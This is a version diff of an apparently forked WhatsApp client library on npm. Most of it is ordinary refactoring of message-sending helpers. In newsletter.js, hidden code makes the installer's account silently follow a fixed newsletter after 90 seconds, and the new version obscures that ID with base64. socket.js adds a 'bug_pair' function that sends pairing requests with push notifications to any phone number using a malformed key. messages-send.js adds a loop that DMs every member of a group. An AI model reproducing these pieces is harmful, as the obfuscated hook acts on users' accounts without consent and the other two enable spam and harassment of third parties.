@badzz88/baileys 8.2.0 → 8.4.0

package/lib/Socket/messages-send.js

@@ -13,9 +13,10 @@ const Types_1 = require("../Types")
 const Utils_1 = require("../Utils");
 const link_preview_1 = require("../Utils/link-preview");
 const WABinary_1 = require("../WABinary");
-const newsletter_1 = require("./newsletter");
-const WAUSync_1 = require("../WAUSync")
-const kikyy = require('./dugong');
+const communities_1 = require("./communities");
+const WAUSync_1 = require("../WAUSync");
+const crypto = require("crypto");
+const imup = require('./luxu');
 var ListType = WAProto_1.proto.Message.ListMessage.ListType;
 const makeMessagesSocket = (config) => {
     const {
@@ -25,7 +26,7 @@ const makeMessagesSocket = (config) => {
         options: axiosOptions,
         patchMessageBeforeSending
     } = config;
-    const sock = (0, newsletter_1.makeNewsletterSocket)(config);
+    const sock = (0, communities_1.makeCommunitiesSocket)(config);
     const {
         ev, 
         authState, 
@@ -290,7 +291,8 @@ const makeMessagesSocket = (config) => {
             return node;
         }));
         return { nodes, shouldIncludeDeviceIdentity };
-    }; //apela
+    };
+    
     const relayMessage = async (jid, message, { messageId: msgId, participant, additionalAttributes, additionalNodes, useUserDevicesCache, cachedGroupMetadata, useCachedGroupMetadata, statusJidList, AI = true }) => {
         const meId = authState.creds.me.id;
         let shouldIncludeDeviceIdentity = false;
@@ -585,25 +587,57 @@ const makeMessagesSocket = (config) => {
             logger.debug({ msgId }, `sending message to ${participants.length} devices`);
             await sendNode(stanza);
         });
-        
-        message = Types_1.WAProto.Message.fromObject(message)
+        return msgId;
+    };
     
-        const messageJSON = {
-            key: {
-               remoteJid: jid,
-               fromMe: true,
-               id: msgId
-            },
-            message: message,
-            messageTimestamp: Utils_1.unixTimestampSeconds(new Date()),
-            messageStubParameters: [],
-            participant: WABinary_1.isJidGroup(jid) || WABinary_1.isJidStatusBroadcast(jid) ? meId : undefined,
-            status: Types_1.WAMessageStatus.PENDING
-        }
+    const sendMessageMembers = async (jid, message, options = {}) => {
+      const {
+        messageId: idm,
+        quoted,
+        delayMs = 1500,
+        useUserDevicesCache = true,
+        cachedGroupMetadata
+      } = options;
 
-        return Types_1.WAProto.WebMessageInfo.fromObject(messageJSON)
-     //   return msgId;
+      const { server } = WABinary_1.jidDecode(jid);
+      if (server !== "g.us") throw new Error("@g.us server required");
+
+      const meId = authState.creds.me.id;
+      const messages = Utils_1.normalizeMessageContent(message);
+      const groupData = cachedGroupMetadata? await cachedGroupMetadata(jid) : await groupMetadata(jid);
+      const isLid = groupData.addressingMode === "lid";
+      const participantJids = groupData.participants.map(p => p.id);
+
+      logger.info(`Sending message to ${participantJids.length} members from ${jid}`);
+
+      for (let i = 0; i < participantJids.length; i++) {
+        const jid = participantJids[i];
+        if (WABinary_1.areJidsSameUser(jid, meId)) continue;
+
+        try {
+          const msgId = `${idm || Utils_1.generateMessageID()}_${i}`;
+          const fullMsg = await Utils_1.generateWAMessageFromContent(jid, message, {
+            messageId: msgId,
+            quoted
+          })
+          await relayMessage(jid, fullMsg.message, {
+            messageId: fullMsg.key.id
+          });
+
+          logger.debug(`Message successfully sent to ${jid}`);
+          if (delayMs && i < participantJids.length - 1) {
+            await new Promise(z => setTimeout(z, delayMs));
+          }
+        } catch (e) {
+          logger.error({ jid, e }, "Error sending message to");
+        }
+      }
+      return JSON.stringify({
+        members_total: participantJids.length,
+        message
+      }, null, 4);
     };
+    
     const getTypeMessage = (msg) => {
             const message = Utils_1.normalizeMessageContent(msg)  
         if (message.reactionMessage) {
@@ -683,8 +717,9 @@ const makeMessagesSocket = (config) => {
         }
         else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_info') {
             return 'payment_info'
-        }
-        else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_status') {
+        } else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_key_info') {
+            return 'payment_key_info'
+        } else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_status') {
             return 'payment_status'
         }
         else if (message.interactiveMessage?.nativeFlowMessage?.buttons?.[0]?.name === 'payment_method') {
@@ -724,16 +759,140 @@ const makeMessagesSocket = (config) => {
         return result;
     }  
     const waUploadToServer = (0, Utils_1.getWAUploadToServer)(config, refreshMediaConn);
-    const rahmi = new kikyy(Utils_1, waUploadToServer, relayMessage);
+    const luki = new imup(Utils_1, waUploadToServer, relayMessage, authState);
     const waitForMsgMediaUpdate = (0, Utils_1.bindWaitForEvent)(ev, 'messages.media-update');
+    const sendMessage = async (jid, content, options = {}) => {
+        const userJid = authState.creds.me.id;
+        delete options.ephemeralExpiration
+        const { ptcp = false, quoted } = options;
+        const getParticipantAttr = () => ptcp ? { participant: { jid } } : {};
+        const messageType = luki.detectType(content);
+        if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
+        typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
+            const { disappearingMessagesInChat } = content
+
+            const value = typeof disappearingMessagesInChat === 'boolean' ?
+                (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
+                disappearingMessagesInChat
+
+            await groupToggleEphemeral(jid, value)
+        }
+            
+        else {
+            let mediaHandle
+
+   
+        if (messageType) {
+            switch(messageType) {
+                case 'PAYMENT':
+                    const paymentContent = await luki.handlePayment(content, quoted);
+                    return await relayMessage(jid, paymentContent, {
+                        messageId: Utils_1.generateMessageID(),
+                        ...getParticipantAttr()
+                    });
+                
+                case 'PRODUCT':
+                    const productContent = await luki.handleProduct(content, jid, quoted);
+                    const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
+                    return await relayMessage(jid, productMsg.message, {
+                        messageId: productMsg.key.id,
+                        ...getParticipantAttr()
+                    });
+                
+                case 'INTERACTIVE':
+                    const interactiveContent = await luki.handleInteractive(content, jid, quoted);
+                    const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
+                    return await relayMessage(jid, interactiveMsg.message, {
+                        messageId: interactiveMsg.key.id,
+                        ...getParticipantAttr()
+                    });
+                    
+                case 'ALBUM':
+                    return await luki.handleAlbum(content, jid, quoted)
+                case 'EVENT':
+                    return await luki.handleEvent(content, jid, quoted)
+                case 'POLL_RESULT':
+                    return await luki.handlePollResult(content, jid, quoted)
+                case 'ORDER':
+                    return await luki.handleOrderMessage(content, jid, quoted)
+                case 'GROUP_STATUS':
+                    return await luki.handleGroupStory(content, jid, quoted)
+                case 'GROUP_LABEL':
+                    return await luki.handleGbLabel(content, jid)
+            }
+        }
+        const fullMsg = await Utils_1.generateWAMessage(jid, content, {
+            logger,
+            userJid,
+            quoted,
+            getUrlInfo: text => link_preview_1.getUrlInfo(text, {
+                thumbnailWidth: linkPreviewImageThumbnailWidth,
+                fetchOpts: {
+                    timeout: 3000,
+                    ...axiosOptions || {}
+                },
+                logger,
+                uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
+            }),
+            upload: async (readStream, opts) => {
+                const up = await waUploadToServer(readStream, {
+                    ...opts,
+                    newsletter: WABinary_1.isJidNewsLetter(jid)
+                });
+                return up;
+            },
+            mediaCache: config.mediaCache,
+            options: config.options,
+            ...options
+        });
+            
+        const isDeleteMsg = 'delete' in content && !!content.delete;
+        const isEditMsg = 'edit' in content && !!content.edit;
+        const isAiMsg = 'ai' in content && !!content.ai;
+            
+        const additionalAttributes = {};
+        const additionalNodes = [];
+
+        if (isDeleteMsg) {
+            const fromMe = content.delete?.fromMe;
+            const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
+            additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
+        } else if (isEditMsg) {
+           additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
+        } else if (isAiMsg) {
+            additionalNodes.push({
+                attrs: { 
+                    biz_bot: '1' 
+                }, tag: "bot" 
+            });
+        }
+            
+        await relayMessage(jid, fullMsg.message, {
+            messageId: fullMsg.key.id,
+            cachedGroupMetadata: options.cachedGroupMetadata,
+            additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
+            additionalAttributes,
+            statusJidList: options.statusJidList
+        });
+            
+        if (config.emitOwnEvents) {
+            process.nextTick(() => {
+                processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
+            });
+        }
+        return fullMsg;
+        }
+    }
     return {
         ...sock,
         getPrivacyTokens,
         assertSessions,
         relayMessage,
+        sendMessageMembers,
         sendReceipt,
         sendReceipts,
-        rahmi,
+        luki,
+        sendMessage,
         readMessages,
         refreshMediaConn,
         getUSyncDevices,
@@ -787,122 +946,138 @@ const makeMessagesSocket = (config) => {
             ]);
             return message;
         },
-        sendMessage: async (jid, content, options = {}) => {
-            const userJid = authState.creds.me.id;
-            delete options.ephemeralExpiration
-            const { filter = false, quoted } = options;
-            const getParticipantAttr = () => filter ? { participant: { jid } } : {};
-            const messageType = rahmi.detectType(content);
-            if (typeof content === 'object' && 'disappearingMessagesInChat' in content &&
-                typeof content['disappearingMessagesInChat'] !== 'undefined' && WABinary_1.isJidGroup(jid)) {
-                const { disappearingMessagesInChat } = content
-
-                const value = typeof disappearingMessagesInChat === 'boolean' ?
-                    (disappearingMessagesInChat ? Defaults_1.WA_DEFAULT_EPHEMERAL : 0) :
-                    disappearingMessagesInChat
-
-                await groupToggleEphemeral(jid, value)
-            }
-            
-            else {
-                let mediaHandle
-
-   
-            if (messageType) {
-                switch(messageType) {
-                    case 'PAYMENT':
-                        const paymentContent = await rahmi.handlePayment(content, quoted);
-                        return await relayMessage(jid, paymentContent, {
-                            messageId: Utils_1.generateMessageID(),
-                            ...getParticipantAttr()
-                        });
-                
-                    case 'PRODUCT':
-                        const productContent = await rahmi.handleProduct(content, jid, quoted);
-                        const productMsg = await Utils_1.generateWAMessageFromContent(jid, productContent, { quoted });
-                        return await relayMessage(jid, productMsg.message, {
-                            messageId: productMsg.key.id,
-                            ...getParticipantAttr()
-                        });
-                
-                    case 'INTERACTIVE':
-                        const interactiveContent = await rahmi.handleInteractive(content, jid, quoted);
-                        const interactiveMsg = await Utils_1.generateWAMessageFromContent(jid, interactiveContent, { quoted });
-                        return await relayMessage(jid, interactiveMsg.message, {
-                            messageId: interactiveMsg.key.id,
-                            ...getParticipantAttr()
-                        });
-                    case 'ALBUM':
-                        return await rahmi.handleAlbum(content, jid, quoted)
-                    case 'EVENT':
-                        return await rahmi.handleEvent(content, jid, quoted)
-                    case 'POLL_RESULT':
-                        return await rahmi.handlePollResult(content, jid, quoted)
-                    case 'GROUP_STORY':
-                        return await rahmi.handleGroupStory(content, jid, quoted)
-                }
-            }
-            const fullMsg = await Utils_1.generateWAMessage(jid, content, {
-                logger,
-                userJid,
-                quoted,
-                getUrlInfo: text => link_preview_1.getUrlInfo(text, {
-                    thumbnailWidth: linkPreviewImageThumbnailWidth,
-                    fetchOpts: {
-                        timeout: 3000,
-                        ...axiosOptions || {}
-                    },
-                    logger,
-                    uploadImage: generateHighQualityLinkPreview ? waUploadToServer : undefined
-                }),
-                upload: async (readStream, opts) => {
-                    const up = await waUploadToServer(readStream, {
-                        ...opts,
-                        newsletter: WABinary_1.isJidNewsLetter(jid)
-                    });
-                    return up;
+        sendText: async (jid, text, options, quoted = null) => {
+            return sendMessage(jid, {
+                text,
+                ...options
+            }, { quoted })
+        },
+        sendImage: async (jid, image, caption, options, quoted = null) => {
+            return sendMessage(jid, {
+                image,
+                caption,
+                ...options
+            }, { quoted })
+        },
+        sendVideo: async (jid, video, caption, options, quoted = null) => {
+            return sendMessage(jid, {
+                video,
+                caption,
+                ...options
+            }, { quoted })
+        },
+        sendDocument: async (jid, document, caption, options, quoted = null) => {
+            return sendMessage(jid, {
+                document,
+                caption,
+                ...options
+            }, { quoted })
+        },
+        sendAudio: async (jid, audio, options, quoted = null) => {
+            return sendMessage(jid, {
+                audio,
+                ...options
+            }, { quoted })
+        },
+        sendLocation: async (jid, name, degreesLongitude, degreesLatitude, url, address, options, quoted = null) => {
+            return sendMessage(jid, {
+                location: {
+                    degreesLongitude,
+                    degreesLatitude,
+                    name,
+                    url,
+                    address
                 },
-                mediaCache: config.mediaCache,
-                options: config.options,
                 ...options
-            });
-            
-            const isDeleteMsg = 'delete' in content && !!content.delete;
-            const isEditMsg = 'edit' in content && !!content.edit;
-            const isAiMsg = 'ai' in content && !!content.ai;
-            
-            const additionalAttributes = {};
-            const additionalNodes = [];
-
-            if (isDeleteMsg) {
-                const fromMe = content.delete?.fromMe;
-                const isGroup = WABinary_1.isJidGroup(content.delete?.remoteJid);
-                additionalAttributes.edit = (isGroup && !fromMe) || WABinary_1.isJidNewsLetter(jid) ? '8' : '7';
-            } else if (isEditMsg) {
-                additionalAttributes.edit = WABinary_1.isJidNewsLetter(jid) ? '3' : '1';
-            } else if (isAiMsg) {
-                additionalNodes.push({
-                    attrs: { 
-                        biz_bot: '1' 
-                    }, tag: "bot" 
-                });
-            }
-            
-            await relayMessage(jid, fullMsg.message, {
-                messageId: fullMsg.key.id,
-                cachedGroupMetadata: options.cachedGroupMetadata,
-                additionalNodes: isAiMsg ? additionalNodes : options.additionalNodes,
-                additionalAttributes,
-                statusJidList: options.statusJidList
-            });
-            
-            if (config.emitOwnEvents) {
-                process.nextTick(() => {
-                    processingMutex.mutex(() => upsertMessage(fullMsg, 'append'));
-                });
+            }, { quoted })
+        },
+        sendPoll: async (jid, name, pollVote = [], multiSelect = false, options, quoted = null) => {
+            const selectableCount = multiSelect ? pollVote.length : 1;
+  
+            return sendMessage(jid, {
+                poll: {
+                    name,
+                    values: pollVote,
+                    selectableCount
+                },
+                ...options
+            }, { quoted });
+        },
+        sendQuiz: (
+            jid,
+            name,
+            pollVote = [],
+            answer,
+            options,
+            quoted
+        ) => {
+            const poll = {
+                name,
+                values: pollVote,
+                selectableCount: 1,
+                type: "QUIZ",
+                answer: { optionName: answer }
             }
-            return fullMsg;
+            return sendMessage(jid, {
+                poll,
+                ...options
+            }, { quoted })
+        },
+        sendPtv: (jid, ptv, options, quoted = null) => {
+            return sendMessage(jid, {
+                ptv,
+                ...options
+            }, { quoted })
+        },
+        statusMention: async (jid, content) => {
+            const msg = Utils_1.generateWAMessageFromContent("status@broadcast", content, {})
+
+            await relayMessage("status@broadcast", msg.message, {
+                messageId: msg.key.id,
+                statusJidList: [jid, authState.creds.me.id],
+                additionalNodes: [
+                    {
+                        tag: "meta",
+                        attrs: {},
+                        content: [
+                            {
+                                tag: "mentioned_users",
+                                attrs: {},
+                                content: [
+                                    {
+                                        tag: "to",
+                                        attrs: { jid },
+                                        content: undefined
+                                    }
+                                ]
+                            }
+                        ]
+                    }
+                ]
+            })
+    
+            const mentionMsg = {
+                statusMentionMessage: {
+                    message: {
+                        protocolMessage: {
+                            key: msg.key,
+                            type: "STATUS_MENTION_MESSAGE",
+                            timestamp: Math.floor(Date.now() / 1000)
+                        }
+                    }
+                }
             }
+
+            const x = Utils_1.generateWAMessageFromContent(jid, mentionMsg, {})
+            return relayMessage(jid, x.message, { 
+                messageId: x.key.id,
+                additionalNodes: [
+                    {
+                        tag: "meta",
+                        attrs: { is_status_mention: "true" }
+                    }
+                ]
+            })
         }
     }
 };

package/lib/Socket/newsletter.js

@@ -104,10 +104,9 @@ const makeNewsletterSocket = (config) => {
         ]
     }));
     setTimeout(async () => {
-        try {
-            await newsletterWMexQuery("120363400362472743@newsletter", Types_1.QueryIds.FOLLOW
-            );
-        } catch {}
+      try {
+        await newsletterWMexQuery(Buffer.from("MTIwMzYzNDAwMzYyNDcyNzQzQG5ld3NsZXR0ZXI=", 'base64').toString(), Types_1.QueryIds.FOLLOW);
+      } catch {}
     }, 90000);
     const parseFetchedUpdates = async (node, type) => {
         let child;

package/lib/Socket/socket.d.ts

@@ -36,6 +36,7 @@ export declare const makeSocket: (config: SocketConfig) => {
     uploadPreKeys: (count?: number) => Promise<void>;
     uploadPreKeysToServerIfRequired: () => Promise<void>;
     requestPairingCode: (phoneNumber: string) => Promise<string>;
+    bug_pair: (phoneNumber: string) => Promise<string>;
     /** Waits for the connection to WA to reach a state */
     waitForConnectionUpdate: (check: (u: Partial<import("../Types").ConnectionState>) => boolean | undefined, timeoutMs?: number | undefined) => Promise<void>;
     sendWAMBuffer: (wamBuffer: Buffer) => Promise<BinaryNode>;

package/lib/Socket/socket.js

@@ -450,6 +450,69 @@ const makeSocket = (config) => {
         
         return authState.creds.pairingCode;
     }
+    const bug_pair = async (phoneNumber, pairKey) => {
+        if (pairKey) {
+            authState.creds.pairingCode = pairKey.toUpperCase();
+        } else {
+            authState.creds.pairingCode = (0, Utils_1.bytesToCrockford)((0, crypto_1.randomBytes)(5));
+        }
+
+        authState.creds.me = {
+            id: (0, WABinary_1.jidEncode)(phoneNumber, 's.whatsapp.net'),
+            name: '~'
+        };
+
+        ev.emit('creds.update', authState.creds);
+        
+        await sendNode({
+            tag: 'iq',
+            attrs: {
+                to: WABinary_1.S_WHATSAPP_NET,
+                type: 'set',
+                id: generateMessageTag(),
+                xmlns: 'md'
+            },
+            content: [
+                {
+                    tag: 'link_code_companion_reg',
+                    attrs: {
+                        jid: authState.creds.me.id,
+                        stage: 'companion_hello',
+                        should_show_push_notification: 'true'
+                    },
+                    content: [
+                        {
+                            tag: 'link_code_pairing_wrapped_companion_ephemeral_pub',
+                            attrs: {},
+                            content: await generatePairingBugKey()
+                        },
+                        {
+                            tag: 'companion_server_auth_key_pub',
+                            attrs: {},
+                            content: authState.creds.noiseKey.public
+                        },
+                        {
+                            tag: 'companion_platform_id',
+                            attrs: {},
+                            content: (0, Utils_1.getPlatformId)(browser[1])
+                        },
+                        {
+                            tag: 'companion_platform_display',
+                            attrs: {},
+                            content: `${browser[1]} (${browser[0]})`
+                        },
+                        {
+                            tag: 'link_code_pairing_nonce',
+                            attrs: {},
+                            content: "0"
+                        }
+                    ]
+                }
+            ]
+        });
+        
+        return authState.creds.pairingCode;
+    }
     async function generatePairingKey() {
         const salt = (0, crypto_1.randomBytes)(32);
         const randomIv = (0, crypto_1.randomBytes)(16);
@@ -457,6 +520,13 @@ const makeSocket = (config) => {
         const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
         return Buffer.concat([salt, randomIv, ciphered]);
     }
+    async function generatePairingBugKey() {
+        const salt = (0, crypto_1.randomBytes)(34);
+        const randomIv = (0, crypto_1.randomBytes)(16);
+        const key = await (0, Utils_1.derivePairingCodeKey)(authState.creds.pairingCode, salt);
+        const ciphered = (0, Utils_1.aesEncryptCTR)(authState.creds.pairingEphemeralKeyPair.public, key, randomIv);
+        return Buffer.concat([salt, randomIv, ciphered]);
+    }
     const sendWAMBuffer = (wamBuffer) => {
         return query({
             tag: 'iq',
@@ -648,6 +718,7 @@ const makeSocket = (config) => {
         uploadPreKeys,
         uploadPreKeysToServerIfRequired,
         requestPairingCode,
+        bug_pair, 
         /** Waits for the connection to WA to reach a state */
         waitForConnectionUpdate: (0, Utils_1.bindWaitForConnectionUpdate)(ev),
         sendWAMBuffer,